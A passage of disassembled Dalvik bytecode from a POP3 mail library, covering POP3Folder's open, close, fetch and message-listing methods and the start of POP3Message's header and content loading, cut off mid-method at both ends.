0000001A  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
00000020  throw                   v0
:22
00000022  return-void
.end method

.method public declared-synchronized close(Z)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-virtual          POP3Folder->checkOpen()V, p0
:A
0000000A  iget-object             v0, p0, POP3Folder->store:Store
0000000E  check-cast              v0, POP3Store
00000012  iget-boolean            v0, v0, POP3Store->rsetBeforeQuit:Z
00000016  if-eqz                  v0, :24
:1A
0000001A  iget-object             v0, p0, POP3Folder->port:Protocol
0000001E  invoke-virtual          Protocol->rset()Z, v0
:24
00000024  if-eqz                  p1, :42
:28
00000028  iget                    v0, p0, POP3Folder->mode:I
0000002C  const/4                 v2, 0x2
0000002E  if-ne                   v0, v2, :42
:32
00000032  iget-object             v0, p0, POP3Folder->message_cache:Vector
00000036  invoke-virtual          Vector->size()I, v0
0000003C  move-result             v0
0000003E  if-lt                   v1, v0, :78
:42
00000042  iget-object             v0, p0, POP3Folder->port:Protocol
00000046  invoke-virtual          Protocol->quit()Z, v0
:4C
0000004C  const/4                 v0, 0x0
:4E
0000004E  iput-object             v0, p0, POP3Folder->port:Protocol
00000052  iget-object             v0, p0, POP3Folder->store:Store
00000056  check-cast              v0, POP3Store
0000005A  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
00000060  const/4                 v0, 0x0
00000062  iput-object             v0, p0, POP3Folder->message_cache:Vector
00000066  const/4                 v0, 0x0
00000068  iput-boolean            v0, p0, POP3Folder->opened:Z
0000006C  const/4                 v0, 0x3
0000006E  invoke-virtual          POP3Folder->notifyConnectionListeners(I)V, p0, v0
:74
00000074  monitor-exit            p0
00000076  return-void
:78
00000078  iget-object             v0, p0, POP3Folder->message_cache:Vector
0000007C  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000082  move-result-object      v0
00000084  check-cast              v0, POP3Message
00000088  if-eqz                  v0, :AA
:8C
0000008C  sget-object             v2, Flags$Flag->DELETED:Flags$Flag
00000090  invoke-virtual          POP3Message->isSet(Flags$Flag)Z, v0, v2
:96
00000096  move-result             v0
00000098  if-eqz                  v0, :AA
:9C
0000009C  iget-object             v0, p0, POP3Folder->port:Protocol
000000A0  add-int/lit8            v2, v1, 0x1
000000A4  invoke-virtual          Protocol->dele(I)Z, v0, v2
:AA
000000AA  add-int/lit8            v0, v1, 0x1
000000AE  move                    v1, v0
000000B0  goto                    :32
:B2
000000B2  move-exception          v0
:B4
000000B4  new-instance            v1, MessagingException
000000B8  const-string            v2, "Exception deleting messages during close"
000000BC  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C2  throw                   v1
:C4
000000C4  move-exception          v0
000000C6  const/4                 v0, 0x0
:C8
000000C8  iput-object             v0, p0, POP3Folder->port:Protocol
000000CC  iget-object             v0, p0, POP3Folder->store:Store
000000D0  check-cast              v0, POP3Store
000000D4  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
000000DA  const/4                 v0, 0x0
000000DC  iput-object             v0, p0, POP3Folder->message_cache:Vector
000000E0  const/4                 v0, 0x0
000000E2  iput-boolean            v0, p0, POP3Folder->opened:Z
000000E6  const/4                 v0, 0x3
000000E8  invoke-virtual          POP3Folder->notifyConnectionListeners(I)V, p0, v0
:EE
000000EE  goto                    :74
:F0
000000F0  move-exception          v0
000000F2  monitor-exit            p0
000000F4  throw                   v0
:F6
000000F6  move-exception          v0
000000F8  move-object             v1, v0
000000FA  const/4                 v0, 0x0
:FC
000000FC  iput-object             v0, p0, POP3Folder->port:Protocol
00000100  iget-object             v0, p0, POP3Folder->store:Store
00000104  check-cast              v0, POP3Store
00000108  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
0000010E  const/4                 v0, 0x0
00000110  iput-object             v0, p0, POP3Folder->message_cache:Vector
00000114  const/4                 v0, 0x0
00000116  iput-boolean            v0, p0, POP3Folder->opened:Z
0000011A  const/4                 v0, 0x3
0000011C  invoke-virtual          POP3Folder->notifyConnectionListeners(I)V, p0, v0
00000122  throw                   v1
          .catchall {:4 .. :A} :F0
          .catch IOException {:A .. :4C} :C4
          .catchall {:A .. :4C} :F6
          .catchall {:4E .. :74} :F0
          .catch IOException {:78 .. :96} :C4
          .catchall {:78 .. :96} :F6
          .catch IOException {:9C .. :AA} :B2
          .catchall {:9C .. :AA} :F6
          .catch IOException {:B4 .. :C4} :C4
          .catchall {:B4 .. :C4} :F6
          .catchall {:C8 .. :EE} :F0
          .catchall {:FC .. :124} :F0
.end method

.method public create(I)Z
          .registers 3
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method protected createMessage(Folder, I)POP3Message
          .registers 8
00000000  const/4                 v1, 0x0
00000002  iget-object             v0, p0, POP3Folder->store:Store
00000006  check-cast              v0, POP3Store
0000000A  iget-object             v0, v0, POP3Store->messageConstructor:Constructor
0000000E  if-eqz                  v0, :50
:12
00000012  const/4                 v2, 0x2
:14
00000014  new-array               v2, v2, [Object
00000018  const/4                 v3, 0x0
0000001A  aput-object             p0, v2, v3
0000001E  const/4                 v3, 0x1
00000020  new-instance            v4, Integer
00000024  invoke-direct           Integer-><init>(I)V, v4, p2
0000002A  aput-object             v4, v2, v3
0000002E  invoke-virtual          Constructor->newInstance([Object)Object, v0, v2
00000034  move-result-object      v0
00000036  check-cast              v0, POP3Message
:3A
0000003A  if-nez                  v0, :48
:3E
0000003E  new-instance            v0, POP3Message
00000042  invoke-direct           POP3Message-><init>(Folder, I)V, v0, p0, p2
:48
00000048  return-object           v0
:4A
0000004A  move-exception          v0
0000004C  move-object             v0, v1
0000004E  goto                    :3A
:50
00000050  move-object             v0, v1
00000052  goto                    :3A
          .catch Exception {:14 .. :3A} :4A
.end method

.method public delete(Z)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "delete"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public exists()Z
          .registers 2
00000000  iget-boolean            v0, p0, POP3Folder->exists:Z
00000004  return                  v0
.end method

.method public expunge()[Message
          .registers 3
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Expunge not supported"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public declared-synchronized fetch([Message, FetchProfile)V
          .registers 8
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-virtual          POP3Folder->checkReadable()V, p0
0000000A  iget-boolean            v0, p0, POP3Folder->doneUidl:Z
0000000E  if-nez                  v0, :8A
:12
00000012  sget-object             v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000016  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p2, v0
0000001C  move-result             v0
0000001E  if-eqz                  v0, :8A
:22
00000022  iget-object             v0, p0, POP3Folder->message_cache:Vector
00000026  invoke-virtual          Vector->size()I, v0
0000002C  move-result             v0
0000002E  new-array               v3, v0, [String
:32
00000032  iget-object             v0, p0, POP3Folder->port:Protocol
00000036  invoke-virtual          Protocol->uidl([String)Z, v0, v3
:3C
0000003C  move-result             v0
0000003E  if-nez                  v0, :7C
:42
00000042  monitor-exit            p0
00000044  return-void
:46
00000046  move-exception          v0
00000048  const/4                 v1, 0x0
:4A
0000004A  invoke-virtual          POP3Folder->close(Z)V, p0, v1
00000050  new-instance            v1, FolderClosedException
00000054  invoke-virtual          EOFException->toString()String, v0
0000005A  move-result-object      v0
0000005C  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000062  throw                   v1
:64
00000064  move-exception          v0
00000066  monitor-exit            p0
00000068  throw                   v0
:6A
0000006A  move-exception          v0
:6C
0000006C  new-instance            v1, MessagingException
00000070  const-string            v2, "error getting UIDL"
00000074  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000007A  throw                   v1
:7C
0000007C  move                    v2, v1
:7E
0000007E  array-length            v0, v3
00000080  if-lt                   v2, v0, :C0
:84
00000084  const/4                 v0, 0x1
00000086  iput-boolean            v0, p0, POP3Folder->doneUidl:Z
:8A
0000008A  sget-object             v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
0000008E  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p2, v0
00000094  move-result             v0
00000096  if-eqz                  v0, :42
:9A
0000009A  array-length            v0, p1
:9C
0000009C  if-ge                   v1, v0, :42
:A0
000000A0  aget-object             v0, p1, v1
000000A4  check-cast              v0, POP3Message
000000A8  const-string            v2, ""
000000AC  invoke-virtual          POP3Message->getHeader(String)[String, v0, v2
000000B2  invoke-virtual          POP3Message->getSize()I, v0
:B8
000000B8  add-int/lit8            v0, v1, 0x1
000000BC  move                    v1, v0
000000BE  goto                    :9A
:C0
000000C0  aget-object             v0, v3, v2
000000C4  if-nez                  v0, :D0
:C8
000000C8  add-int/lit8            v0, v2, 0x1
000000CC  move                    v2, v0
000000CE  goto                    :7E
:D0
000000D0  add-int/lit8            v0, v2, 0x1
000000D4  invoke-virtual          POP3Folder->getMessage(I)Message, p0, v0
000000DA  move-result-object      v0
000000DC  check-cast              v0, POP3Message
000000E0  aget-object             v4, v3, v2
000000E4  iput-object             v4, v0, POP3Message->uid:String
:E8
000000E8  goto                    :C8
:EA
000000EA  move-exception          v0
000000EC  goto                    :B8
          .catchall {:4 .. :32} :64
          .catch EOFException {:32 .. :3C} :46
          .catch IOException {:32 .. :3C} :6A
          .catchall {:32 .. :3C} :64
          .catchall {:4A .. :64} :64
          .catchall {:6C .. :9C} :64
          .catch MessageRemovedException {:A0 .. :B8} :EA
          .catchall {:A0 .. :B8} :64
          .catchall {:C0 .. :E8} :64
.end method

.method protected finalize()V
          .registers 2
00000000  invoke-super            Folder->finalize()V, p0
00000006  const/4                 v0, 0x0
00000008  invoke-virtual          POP3Folder->close(Z)V, p0, v0
0000000E  return-void
.end method

.method public getFolder(String)Folder
          .registers 4
00000000  new-instance            v0, MessagingException
00000004  const-string            v1, "not a directory"
00000008  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getFullName()String
          .registers 2
00000000  iget-object             v0, p0, POP3Folder->name:String
00000004  return-object           v0
.end method

.method public declared-synchronized getMessage(I)Message
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          POP3Folder->checkOpen()V, p0
00000008  iget-object             v0, p0, POP3Folder->message_cache:Vector
0000000C  add-int/lit8            v1, p1, 0xFFFFFFFFFFFFFFFF
00000010  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000016  move-result-object      v0
00000018  check-cast              v0, POP3Message
0000001C  if-nez                  v0, :36
:20
00000020  invoke-virtual          POP3Folder->createMessage(Folder, I)POP3Message, p0, p0, p1
00000026  move-result-object      v0
00000028  iget-object             v1, p0, POP3Folder->message_cache:Vector
0000002C  add-int/lit8            v2, p1, 0xFFFFFFFFFFFFFFFF
00000030  invoke-virtual          Vector->setElementAt(Object, I)V, v1, v0, v2
:36
00000036  monitor-exit            p0
00000038  return-object           v0
:3A
0000003A  move-exception          v0
0000003C  monitor-exit            p0
0000003E  throw                   v0
          .catchall {:2 .. :36} :3A
.end method

.method public declared-synchronized getMessageCount()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, POP3Folder->opened:Z
:6
00000006  if-nez                  v0, :10
:A
0000000A  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:C
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  invoke-virtual          POP3Folder->checkReadable()V, p0
00000016  iget                    v0, p0, POP3Folder->total:I
:1A
0000001A  goto                    :C
:1C
0000001C  move-exception          v0
0000001E  monitor-exit            p0
00000020  throw                   v0
          .catchall {:2 .. :6} :1C
          .catchall {:10 .. :1A} :1C
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, POP3Folder->name:String
00000004  return-object           v0
.end method

.method public getParent()Folder
          .registers 3
00000000  new-instance            v1, DefaultFolder
00000004  iget-object             v0, p0, POP3Folder->store:Store
00000008  check-cast              v0, POP3Store
0000000C  invoke-direct           DefaultFolder-><init>(POP3Store)V, v1, v0
00000012  return-object           v1
.end method

.method public getPermanentFlags()Flags
          .registers 2
00000000  new-instance            v0, Flags
00000004  invoke-direct           Flags-><init>()V, v0
0000000A  return-object           v0
.end method

.method getProtocol()Protocol
          .registers 2
00000000  invoke-virtual          POP3Folder->checkOpen()V, p0
00000006  iget-object             v0, p0, POP3Folder->port:Protocol
0000000A  return-object           v0
.end method

.method public getSeparator()C
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public declared-synchronized getSize()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          POP3Folder->checkOpen()V, p0
00000008  iget                    v0, p0, POP3Folder->size:I
:C
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:2 .. :C} :10
.end method

.method public declared-synchronized getSizes()[I
          .registers 8
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-virtual          POP3Folder->checkOpen()V, p0
0000000A  iget                    v0, p0, POP3Folder->total:I
0000000E  new-array               v3, v0, [I
:12
00000012  iget-object             v0, p0, POP3Folder->port:Protocol
00000016  invoke-virtual          Protocol->list()InputStream, v0
:1C
0000001C  move-result-object      v2
:1E
0000001E  new-instance            v0, LineInputStream
00000022  invoke-direct           LineInputStream-><init>(InputStream)V, v0, v2
:28
00000028  invoke-virtual          LineInputStream->readLine()String, v0
:2E
0000002E  move-result-object      v1
00000030  if-nez                  v1, :4C
:34
00000034  if-eqz                  v0, :3E
:38
00000038  invoke-virtual          LineInputStream->close()V, v0
:3E
0000003E  if-eqz                  v2, :48
:42
00000042  invoke-virtual          InputStream->close()V, v2
:48
00000048  monitor-exit            p0
0000004A  return-object           v3
:4C
0000004C  new-instance            v4, StringTokenizer
00000050  invoke-direct           StringTokenizer-><init>(String)V, v4, v1
00000056  invoke-virtual          StringTokenizer->nextToken()String, v4
0000005C  move-result-object      v1
0000005E  invoke-static           Integer->parseInt(String)I, v1
00000064  move-result             v1
00000066  invoke-virtual          StringTokenizer->nextToken()String, v4
0000006C  move-result-object      v4
0000006E  invoke-static           Integer->parseInt(String)I, v4
00000074  move-result             v4
00000076  if-lez                  v1, :28
:7A
0000007A  iget                    v5, p0, POP3Folder->total:I
0000007E  if-gt                   v1, v5, :28
:82
00000082  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000086  aput                    v4, v3, v1
:8A
0000008A  goto                    :28
:8C
0000008C  move-exception          v1
0000008E  goto                    :28
:90
00000090  move-exception          v0
00000092  move-object             v0, v1
:94
00000094  if-eqz                  v0, :9E
:98
00000098  invoke-virtual          LineInputStream->close()V, v0
:9E
0000009E  if-eqz                  v1, :48
:A2
000000A2  invoke-virtual          InputStream->close()V, v1
:A8
000000A8  goto                    :48
:AA
000000AA  move-exception          v0
000000AC  goto                    :48
:AE
000000AE  move-exception          v0
000000B0  move-object             v2, v1
:B2
000000B2  if-eqz                  v1, :BC
:B6
000000B6  invoke-virtual          LineInputStream->close()V, v1
:BC
000000BC  if-eqz                  v2, :C6
:C0
000000C0  invoke-virtual          InputStream->close()V, v2
:C6
000000C6  throw                   v0
:C8
000000C8  move-exception          v0
000000CA  monitor-exit            p0
000000CC  throw                   v0
:CE
000000CE  move-exception          v0
000000D0  goto                    :9E
:D2
000000D2  move-exception          v1
000000D4  goto                    :BC
:D6
000000D6  move-exception          v1
000000D8  goto                    :C6
:DA
000000DA  move-exception          v0
000000DC  goto                    :3E
:DE
000000DE  move-exception          v0
000000E0  goto                    :48
:E2
000000E2  move-exception          v0
000000E4  goto                    :B2
:E6
000000E6  move-exception          v1
000000E8  move-object             v6, v1
000000EA  move-object             v1, v0
000000EC  move-object             v0, v6
000000EE  goto                    :B2
:F0
000000F0  move-exception          v0
000000F2  move-object             v0, v1
000000F4  move-object             v1, v2
000000F6  goto                    :94
:F8
000000F8  move-exception          v1
000000FA  move-object             v1, v2
000000FC  goto                    :94
          .catchall {:4 .. :12} :C8
          .catch IOException {:12 .. :1C} :90
          .catchall {:12 .. :1C} :AE
          .catch IOException {:1E .. :28} :F0
          .catchall {:1E .. :28} :E2
          .catch IOException {:28 .. :2E} :F8
          .catchall {:28 .. :2E} :E6
          .catch IOException {:38 .. :3E} :DA
          .catchall {:38 .. :3E} :C8
          .catch IOException {:42 .. :48} :DE
          .catchall {:42 .. :48} :C8
          .catch Exception {:4C .. :8A} :8C
          .catch IOException {:4C .. :8A} :F8
          .catchall {:4C .. :8A} :E6
          .catch IOException {:98 .. :9E} :CE
          .catchall {:98 .. :9E} :C8
          .catch IOException {:A2 .. :A8} :AA
          .catchall {:A2 .. :A8} :C8
          .catch IOException {:B6 .. :BC} :D2
          .catchall {:B6 .. :BC} :C8
          .catch IOException {:C0 .. :C6} :D6
          .catchall {:C0 .. :C6} :C8
          .catchall {:C6 .. :C8} :C8
.end method

.method public getType()I
          .registers 2
00000000  const/4                 v0, 0x1
00000002  return                  v0
.end method

.method public declared-synchronized getUID(Message)String
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          POP3Folder->checkOpen()V, p0
00000008  check-cast              p1, POP3Message
:C
0000000C  iget-object             v0, p1, POP3Message->uid:String
00000010  const-string            v1, "UNKNOWN"
00000014  if-ne                   v0, v1, :30
:18
00000018  iget-object             v0, p0, POP3Folder->port:Protocol
0000001C  invoke-virtual          POP3Message->getMessageNumber()I, p1
00000022  move-result             v1
00000024  invoke-virtual          Protocol->uidl(I)String, v0, v1
0000002A  move-result-object      v0
0000002C  iput-object             v0, p1, POP3Message->uid:String
:30
00000030  iget-object             v0, p1, POP3Message->uid:String
:34
00000034  monitor-exit            p0
00000036  return-object           v0
:38
00000038  move-exception          v0
0000003A  const/4                 v1, 0x0
:3C
0000003C  invoke-virtual          POP3Folder->close(Z)V, p0, v1
00000042  new-instance            v1, FolderClosedException
00000046  invoke-virtual          EOFException->toString()String, v0
0000004C  move-result-object      v0
0000004E  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000054  throw                   v1
:56
00000056  move-exception          v0
00000058  monitor-exit            p0
0000005A  throw                   v0
:5C
0000005C  move-exception          v0
:5E
0000005E  new-instance            v1, MessagingException
00000062  const-string            v2, "error getting UIDL"
00000066  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000006C  throw                   v1
          .catchall {:2 .. :C} :56
          .catch EOFException {:C .. :34} :38
          .catch IOException {:C .. :34} :5C
          .catchall {:C .. :34} :56
          .catchall {:3C .. :56} :56
          .catchall {:5E .. :6E} :56
.end method

.method public hasNewMessages()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public isOpen()Z
          .registers 3
00000000  const/4                 v0, 0x0
00000002  iget-boolean            v1, p0, POP3Folder->opened:Z
00000006  if-nez                  v1, :C
:A
0000000A  return                  v0
:C
0000000C  iget-object             v1, p0, POP3Folder->store:Store
00000010  invoke-virtual          Store->isConnected()Z, v1
00000016  move-result             v1
00000018  if-eqz                  v1, :20
:1C
0000001C  const/4                 v0, 0x1
0000001E  goto                    :A
:20
00000020  const/4                 v1, 0x0
:22
00000022  invoke-virtual          POP3Folder->close(Z)V, p0, v1
:28
00000028  goto                    :A
:2A
0000002A  move-exception          v1
0000002C  goto                    :A
          .catch MessagingException {:22 .. :28} :2A
.end method

.method public list(String)[Folder
          .registers 4
00000000  new-instance            v0, MessagingException
00000004  const-string            v1, "not a directory"
00000008  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public declared-synchronized listCommand()InputStream
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          POP3Folder->checkOpen()V, p0
00000008  iget-object             v0, p0, POP3Folder->port:Protocol
0000000C  invoke-virtual          Protocol->list()InputStream, v0
:12
00000012  move-result-object      v0
00000014  monitor-exit            p0
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :12} :18
.end method

.method protected notifyMessageChangedListeners(I, Message)V
          .registers 3
00000000  invoke-super            Folder->notifyMessageChangedListeners(I, Message)V, p0, p1, p2
00000006  return-void
.end method

.method public declared-synchronized open(I)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          POP3Folder->checkClosed()V, p0
00000008  iget-boolean            v0, p0, POP3Folder->exists:Z
0000000C  if-nez                  v0, :26
:10
00000010  new-instance            v0, FolderNotFoundException
00000014  const-string            v1, "folder is not INBOX"
00000018  invoke-direct           FolderNotFoundException-><init>(Folder, String)V, v0, p0, v1
0000001E  throw                   v0
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
:26
00000026  iget-object             v0, p0, POP3Folder->store:Store
0000002A  check-cast              v0, POP3Store
0000002E  invoke-virtual          POP3Store->getPort(POP3Folder)Protocol, v0, p0
00000034  move-result-object      v0
00000036  iput-object             v0, p0, POP3Folder->port:Protocol
0000003A  iget-object             v0, p0, POP3Folder->port:Protocol
0000003E  invoke-virtual          Protocol->stat()Status, v0
00000044  move-result-object      v0
00000046  iget                    v1, v0, Status->total:I
0000004A  iput                    v1, p0, POP3Folder->total:I
0000004E  iget                    v0, v0, Status->size:I
00000052  iput                    v0, p0, POP3Folder->size:I
00000056  iput                    p1, p0, POP3Folder->mode:I
0000005A  const/4                 v0, 0x1
0000005C  iput-boolean            v0, p0, POP3Folder->opened:Z
:60
00000060  new-instance            v0, Vector
00000064  iget                    v1, p0, POP3Folder->total:I
00000068  invoke-direct           Vector-><init>(I)V, v0, v1
0000006E  iput-object             v0, p0, POP3Folder->message_cache:Vector
00000072  iget-object             v0, p0, POP3Folder->message_cache:Vector
00000076  iget                    v1, p0, POP3Folder->total:I
0000007A  invoke-virtual          Vector->setSize(I)V, v0, v1
00000080  const/4                 v0, 0x0
00000082  iput-boolean            v0, p0, POP3Folder->doneUidl:Z
00000086  const/4                 v0, 0x1
00000088  invoke-virtual          POP3Folder->notifyConnectionListeners(I)V, p0, v0
:8E
0000008E  monitor-exit            p0
00000090  return-void
:92
00000092  move-exception          v0
00000094  move-object             v1, v0
:96
00000096  iget-object             v0, p0, POP3Folder->port:Protocol
0000009A  if-eqz                  v0, :A8
:9E
0000009E  iget-object             v0, p0, POP3Folder->port:Protocol
000000A2  invoke-virtual          Protocol->quit()Z, v0
:A8
000000A8  const/4                 v0, 0x0
:AA
000000AA  iput-object             v0, p0, POP3Folder->port:Protocol
000000AE  iget-object             v0, p0, POP3Folder->store:Store
000000B2  check-cast              v0, POP3Store
000000B6  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
:BC
000000BC  new-instance            v0, MessagingException
000000C0  const-string            v2, "Open failed"
000000C4  invoke-direct           MessagingException-><init>(String, Exception)V, v0, v2, v1
000000CA  throw                   v0
:CC
000000CC  move-exception          v0
000000CE  const/4                 v0, 0x0
000000D0  iput-object             v0, p0, POP3Folder->port:Protocol
000000D4  iget-object             v0, p0, POP3Folder->store:Store
000000D8  check-cast              v0, POP3Store
000000DC  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
000000E2  goto                    :BC
:E4
000000E4  move-exception          v0
000000E6  move-object             v1, v0
000000E8  const/4                 v0, 0x0
000000EA  iput-object             v0, p0, POP3Folder->port:Protocol
000000EE  iget-object             v0, p0, POP3Folder->store:Store
000000F2  check-cast              v0, POP3Store
000000F6  invoke-virtual          POP3Store->closePort(POP3Folder)V, v0, p0
000000FC  throw                   v1
          .catchall {:2 .. :20} :20
          .catch IOException {:26 .. :60} :92
          .catchall {:26 .. :60} :20
          .catchall {:60 .. :8E} :20
          .catch IOException {:96 .. :A8} :CC
          .catchall {:96 .. :A8} :E4
          .catchall {:AA .. :FE} :20
.end method

.method public renameTo(Folder)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "renameTo"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public POP3Message
.super MimeMessage
.source ""

.field static final UNKNOWN:String = "UNKNOWN"
.field private folder:POP3Folder
.field private hdrSize:I
.field private msgSize:I
.field uid:String

.method public constructor <init>(Folder, I)V
          .registers 4
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  invoke-direct           MimeMessage-><init>(Folder, I)V, p0, p1, p2
00000008  iput                    v0, p0, POP3Message->hdrSize:I
0000000C  iput                    v0, p0, POP3Message->msgSize:I
00000010  const-string            v0, "UNKNOWN"
00000014  iput-object             v0, p0, POP3Message->uid:String
00000018  check-cast              p1, POP3Folder
0000001C  iput-object             p1, p0, POP3Message->folder:POP3Folder
00000020  return-void
.end method

.method private loadHeaders()V
          .registers 5
00000000  const/4                 v3, 0x0
:2
00000002  monitor-enter           p0
:4
00000004  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000008  if-eqz                  v0, :10
:C
0000000C  monitor-exit            p0
:E
0000000E  return-void
:10
00000010  iget-object             v0, p0, POP3Message->folder:POP3Folder
00000014  invoke-virtual          POP3Folder->getStore()Store, v0
0000001A  move-result-object      v0
0000001C  check-cast              v0, POP3Store
00000020  iget-boolean            v0, v0, POP3Store->disableTop:Z
00000024  if-nez                  v0, :46
:28
00000028  iget-object             v0, p0, POP3Message->folder:POP3Folder
0000002C  invoke-virtual          POP3Folder->getProtocol()Protocol, v0
00000032  move-result-object      v0
00000034  iget                    v1, p0, POP3Message->msgnum:I
00000038  const/4                 v2, 0x0
0000003A  invoke-virtual          Protocol->top(I, I)InputStream, v0, v1, v2
00000040  move-result-object      v0
00000042  if-nez                  v0, :82
:46
00000046  invoke-virtual          POP3Message->getContentStream()InputStream, p0
0000004C  move-result-object      v0
0000004E  invoke-virtual          InputStream->close()V, v0
:54
00000054  monitor-exit            p0
00000056  goto                    :E
:58
00000058  move-exception          v0
0000005A  monitor-exit            p0
:5C
0000005C  throw                   v0
:5E
0000005E  move-exception          v0
00000060  iget-object             v1, p0, POP3Message->folder:POP3Folder
00000064  invoke-virtual          POP3Folder->close(Z)V, v1, v3
0000006A  new-instance            v1, FolderClosedException
0000006E  iget-object             v2, p0, POP3Message->folder:POP3Folder
00000072  invoke-virtual          EOFException->toString()String, v0
00000078  move-result-object      v0
0000007A  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000080  throw                   v1
:82
00000082  invoke-virtual          InputStream->available()I, v0
00000088  move-result             v1
0000008A  iput                    v1, p0, POP3Message->hdrSize:I
0000008E  new-instance            v1, InternetHeaders
00000092  invoke-direct           InternetHeaders-><init>(InputStream)V, v1, v0
00000098  iput-object             v1, p0, POP3Message->headers:InternetHeaders
:9C
0000009C  goto                    :54
:9E
0000009E  move-exception          v0
000000A0  new-instance            v1, MessagingException
000000A4  const-string            v2, "error loading POP3 headers"
000000A8  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000AE  throw                   v1
          .catch EOFException {:2 .. :4} :5E
          .catch IOException {:2 .. :4} :9E
          .catchall {:4 .. :5C} :58
          .catch EOFException {:5C .. :5E} :5E
          .catch IOException {:5C .. :5E} :9E
          .catchall {:82 .. :9C} :58
.end method

.method public addHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "POP3 messages are read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public addHeaderLine(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "POP3 messages are read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getAllHeaderLines()Enumeration, v0
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 2
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getAllHeaders()Enumeration, v0
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method protected getContentStream()InputStream
          .registers 9
00000000  const/16                v6, 0xA
00000004  const/4                 v3, 0x0
:6
00000006  monitor-enter           p0
:8
00000008  iget-object             v1, p0, POP3Message->contentStream:InputStream
0000000C  if-nez                  v1, :DC
:10
00000010  iget-object             v1, p0, POP3Message->folder:POP3Folder
00000014  invoke-virtual          POP3Folder->getProtocol()Protocol, v1
0000001A  move-result-object      v2
0000001C  iget                    v4, p0, POP3Message->msgnum:I
00000020  iget                    v1, p0, POP3Message->msgSize:I
00000024  if-lez                  v1, :7A
:28
00000028  iget                    v1, p0, POP3Message->msgSize:I
0000002C  iget                    v5, p0, POP3Message->hdrSize:I
00000030  add-int/2addr           v1, v5
:32
00000032  invoke-virtual          Protocol->retr(I, I)InputStream, v2, v4, v1
00000038  move-result-object      v2
0000003A  if-nez                  v2, :7E
:3E
0000003E  const/4                 v1, 0x1
00000040  iput-boolean            v1, p0, POP3Message->expunged:Z
00000044  new-instance            v1, MessageRemovedException
00000048  invoke-direct           MessageRemovedException-><init>()V, v1
